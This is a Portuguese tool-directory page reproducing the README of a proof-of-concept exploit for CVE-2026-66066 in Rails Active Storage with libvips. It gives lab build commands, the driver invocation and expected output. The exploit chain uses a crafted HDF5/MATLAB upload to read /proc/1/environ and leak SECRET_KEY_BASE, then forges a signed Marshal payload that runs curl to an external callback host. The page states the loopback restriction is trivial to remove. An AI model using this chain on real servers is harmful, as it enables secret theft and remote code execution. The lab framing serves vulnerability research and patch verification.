Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-66066-POC — PoC para CVE-2026-66066 em Ruby on Rails | Kitploit
Ferramentas/GitHubGitHub/zer0sumgam3/cve-2026-66066-poc
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebAprendizado e EducaçãoLabs e Prática
GitHubzer0sumgam3/cve-2026-66066-poc

CVE-2026-66066-POC

PoC para CVE-2026-66066 em Ruby on Rails

Ver Repositório
221395há 3 mesesRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
# PoC para CVE-2026-66066 - Laboratório mínimo com Rails/libvips

Este repositório reproduz a cadeia de leitura-de-arquivo-para-RCE do Active Storage do Rails descrita em
[GHSA-xr9x-r78c-5hrm](https://github.com/rails/rails/security/advisories/GHSA-xr9x-r78c-5hrm)
contra o Rails 8.1.3, a versão afetada mais recente do Rails 8.1. O Rails 8.1.3.1 é
o controle corrigido.

Use-o apenas no laboratório local descartável descrito aqui. O driver HTTP
recusa alvos fora do loopback (embora seja trivial modificar o código Python para testes autorizados contra outros alvos).

## Limite estrito entre alvo/atacante

O alvo é uma aplicação Rails convencional. Sua imagem final contém:

- a imagem oficial Docker `ruby:3.4.10-slim` fixada;
- uma aplicação gerada por `rails _VERSION_ new`;
- os pacotes de runtime gerados pelo Rails `curl`, `libjemalloc2`, `libvips`,
  e `sqlite3`;
- o entrypoint gerado pelo Rails e o comando padrão
  `./bin/thrust ./bin/rails server`; e
- um modelo `Upload` normal com um único anexo do Active Storage, ações HTML
  comuns `new`, `create` e `show`, e uma variante de imagem PNG.

Ele não contém um construtor de artefatos, artefato de upload, driver de exploit,
construtor Marshal, código de callback, endpoint de diagnóstico, rastreamento de loader,
script de boot personalizado, fixture de segredo do alvo ou rota exclusiva de exploit. Ele não
define `VIPS_TRACE`, não reordena o ambiente do processo, não substitui o serializador
do Active Storage, nem configura um processador de imagem não padrão.

O `.dockerignore` raiz envia apenas `Dockerfile` e `overlay/` para o build.
Os scripts Python do lado do host e todos os artefatos gerados são excluídos do
contexto de build do Docker, não apenas omitidos da etapa final de cópia.

O overlay completo do alvo consiste em cinco arquivos comuns:

```text
app/controllers/uploads_controller.rb
app/models/upload.rb
app/views/uploads/new.html.erb
app/views/uploads/show.html.erb
config/routes.rb
```

A página de exibição usa a transformação normal mínima:

```erb
<%= image_tag @upload.avatar.variant(format: :png) %>
```

Uma nova aplicação Rails intocada não possui modelo ou página de aplicação que
aceite um anexo, então esses cinco arquivos são a funcionalidade mínima de
aplicação necessária para representar a condição de upload de imagem não confiável do advisory.

## Build e execução do alvo vulnerável

Pré-requisitos são Docker, OpenSSL, Python 3 e `h5py` para o construtor
de artefatos.

No terminal 1:

```sh
./run_lab.sh 8.1.3
```

O script constrói `minimal-rails-vips:8.1.3`, gera um
`SECRET_KEY_BASE` efêmero, a menos que um já seja fornecido, publica a aplicação
apenas em `127.0.0.1:3000` e executa o entrypoint gerado pela imagem e o
comando padrão. Nenhum diretório de origem ou artefato é montado no alvo.

Se a porta 3000 já estiver ocupada, selecione outra porta de loopback sem
alterar a imagem:

```sh
HOST_PORT=33020 ./run_lab.sh 8.1.3
```

Use a mesma porta no `--target` do driver.

## Execução do construtor e driver combinados

No terminal 2:

```sh
python3 -m venv .venv
. .venv/bin/activate
python3 -m pip install h5py

python3 rails_vips_oast_poc.py \
  --target http://127.0.0.1:3000 \
  --oast https://SEU-DOMINIO-OAST.example/callback
```

`rails_vips_oast_poc.py` é um construtor e driver HTTP de uso único. A menos que
`--artifact` seja fornecido, ele constrói o upload em um diretório temporário
privado, o mantém durante toda a sequência de requisições e o remove quando
o processo termina. Ele constrói ambos os estágios em vez de descompactar um payload
estático:

1. Ele pede ao `h5py` para criar um arquivo MATLAB/HDF5 com um bloco de usuário de 512 bytes.
2. Ele cria um dataset `uint8` little-endian `1 × 1024` chamado `environment`.
3. O dataset usa armazenamento externo HDF5 apoiado por `/proc/1/environ`, deslocamento
   zero, com uma extensão limitada de 1.024 bytes.
4. Ele adiciona `MATLAB_class="uint8"` e escreve o cabeçalho `MATLAB 5.0` usado pelo
   sniffer `matload` do libvips.
5. Seu escritor mínimo de Ruby Marshal 4.8 constrói o grafo de variação OOB
   completo sem sinal.
6. Ele anexa um trailer com verificação de integridade contendo esse grafo serializado
   e um pequeno manifesto com a URL OAST e o nonce de correlação.

O programa RCE embutido é fixado em `/usr/bin/curl` com um array de argumentos
estruturado. Ele realiza um GET para a URL OAST configurada e envia apenas
o token de correlação aleatório `rails_ghsa_xr9x`. Ele não usa um shell e
não inclui segredos recuperados, saída de comandos, conteúdo de arquivos ou um
identificador do alvo no callback.

Os parâmetros do artefato são:

- `--external-path`: arquivo absoluto do lado do alvo, padrão `/proc/1/environ`;
- `--bytes`: extensão externa limitada de 128 a 4096, padrão 1024;
- `--oast`: URL base do callback embutida no payload; e
- `--nonce`: nonce hexadecimal opcional de 16 bytes para um artefato reproduzível.

A URL OAST padrão é segura para loopback. Forneça uma URL de receptor acessível a partir do
contêiner para a verificação de ponta a ponta.

Para reter o upload gerado para inspeção ou reutilização, adicione um caminho de artefato:

```sh
python3 rails_vips_oast_poc.py \
  --target http://127.0.0.1:3000 \
  --oast https://SEU-DOMINIO-OAST.example/callback \
  --artifact environment-read.bmp
```

Um `--artifact` existente é validado e reutilizado. Nesse caso, `--oast`, quando
fornecido, deve corresponder à URL de callback embutida. Adicione `--force` para reconstruir e
substituí-lo atomicamente pelos parâmetros atuais do construtor.

Para criação de artefatos sem nenhuma requisição HTTP, o construtor
companheiro ainda está disponível:

```sh
python3 build_upload_artifact.py \
  --output environment-read.bmp \
  --oast https://SEU-DOMINIO-OAST.example/callback
```

`--target` tem como padrão `http://127.0.0.1:3000` e é restrito a
loopback literal ou `localhost`.

A saída vulnerável esperada inclui:

```text
artifact_mode=constructed
artifact_retained=false
embedded_payload=true
safe_png_representation_http=200
direct_blob_create_http=200
direct_object_put_http=204
environment_representation_http=200
returned_geometry=1x1024x1
ARBITRARY_ENV_READ_RESULT=CONFIRMED
marshal_source=embedded_artifact
rce_program=/usr/bin/curl
oast_probe_http=500
OAST_RESULT=CHECK_RECEIVER
```

Compare `oast_nonce` no terminal com o parâmetro de consulta
`rails_ghsa_xr9x=<nonce>` recebido pelo serviço OAST. O
HTTP 500 da requisição final de representação é esperado: o callback
ocorre enquanto o Marshal Hash autenticado está sendo reconstruído, antes de a
transformação geral falhar subsequentemente.

## O que o driver faz

A parte do construtor requer `h5py`; as partes HTTP e criptográficas usam apenas
a biblioteca padrão do Python:

1. Ele constrói e valida o artefato de upload completo e o grafo Marshal
   embutido sem sinal.
2. Ele envia um PNG seguro através do formulário HTML multipart comum da
   aplicação, segue o redirecionamento normal e extrai a
   URL de representação de seu elemento ``.
3. Ele usa o endpoint de upload direto integrado do Active Storage do Rails para criar um
   blob não anexado declarado como `image/bmp` e então envia os bytes
   construídos.
4. Ele combina o ID assinado válido desse blob com a chave de variação normal da
   imagem segura e solicita a representação.
5. O libvips Debian padrão seleciona a operação `matload` não fuzzeada. O PNG
   retornado expõe os bytes do dataset externo, incluindo o `SECRET_KEY_BASE`
   de runtime.
6. O driver deriva a chave comum do verificador `ActiveStorage`, lê o payload
   Marshal já construído do artefato, o assina para o propósito `variation` e
   solicita a URL de representação resultante.
7. A desserialização invoca o payload `/usr/bin/curl` embutido e produz
   o callback OOB cego.

O alvo não contribui com endpoint auxiliar ou gadget de assinatura. As classes Ruby
usadas pelo grafo serializado vêm de dependências já resolvidas por um Gemfile
`rails new` padrão; a aplicação não as requer nem configura. O processamento de
imagem permanece no processador padrão `:vips` do Rails durante todo o processo.

## Diferencial corrigido

Pare o terminal 1 com Ctrl-C e então execute:

```sh
./run_lab.sh 8.1.3.1
```

Execute novamente o mesmo comando do driver combinado. Se um artefato foi retido, ele pode
ser reutilizado passando o mesmo caminho `--artifact`. O resultado corrigido deve
parar em:

```text
safe_png_representation_http=200
direct_blob_create_http=200
direct_object_put_http=204
environment_representation_http=500
```

Nenhum pixel de ambiente é retornado, o payload embutido nunca é assinado ou
enviado, e nenhum callback OAST ocorre. O Active Storage 8.1.3.1 ativa
o bloqueio de operações não confiáveis do libvips, então `matload` é rejeitado.

## Verifique se a imagem do alvo está limpa

A configuração final de runtime deve ser a gerada:

```sh
docker image inspect minimal-rails-vips:8.1.3 \
  --format 'entrypoint={{json .Config.Entrypoint}} cmd={{json .Config.Cmd}} user={{json .Config.User}}'
```

Esperado:

```text
entrypoint=["/rails/bin/docker-entrypoint"] cmd=["./bin/thrust","./bin/rails","server"] user="1000:1000"
```

Inspecione o único script e confirme que os arquivos do PoC estão ausentes:

```sh
docker run --rm --entrypoint sh minimal-rails-vips:8.1.3 -lc '
  find /rails/script -maxdepth 2 -type f -print
  test ! -e /rails/payloads
  test ! -e /rails/payload_builder.c
  test ! -e /rails/config/master.key
'
```

A única entrada de script é o `/rails/script/.keep` criado pelo gerador.
Ferramentas de build e CLIs opcionais de imagem também ficam fora do runtime:

```sh
docker run --rm --entrypoint sh minimal-rails-vips:8.1.3 -lc '
  for tool in gcc h5cc vips vipsheader convert magick tesseract; do
    command -v "$tool" >/dev/null 2>&1 && echo "unexpected: $tool"
  done
'
```

`libvips` está presente como uma biblioteca de runtime compartilhada, embora suas ferramentas CLI
não estejam instaladas. O grafo de dependências padrão do Debian fornece o suporte
vinculado aos formatos MAT/HDF5.

## Arquivos

- `Dockerfile` gera e empacota o alvo mínimo padrão.
- `.dockerignore` impede que arquivos do lado do atacante entrem no contexto
  de build.
- `overlay/` contém apenas os cinco arquivos normais da aplicação Rails.
- `run_lab.sh` constrói e inicia o alvo sem executar o PoC.
- `rails_vips_oast_poc.py` constrói a imagem de leitura de arquivo HDF5 e o payload
  OOB configurável, conduz o fluxo HTTP normal, recupera o segredo do verificador,
  assina o payload embutido e o aciona.
Baixar ferramenta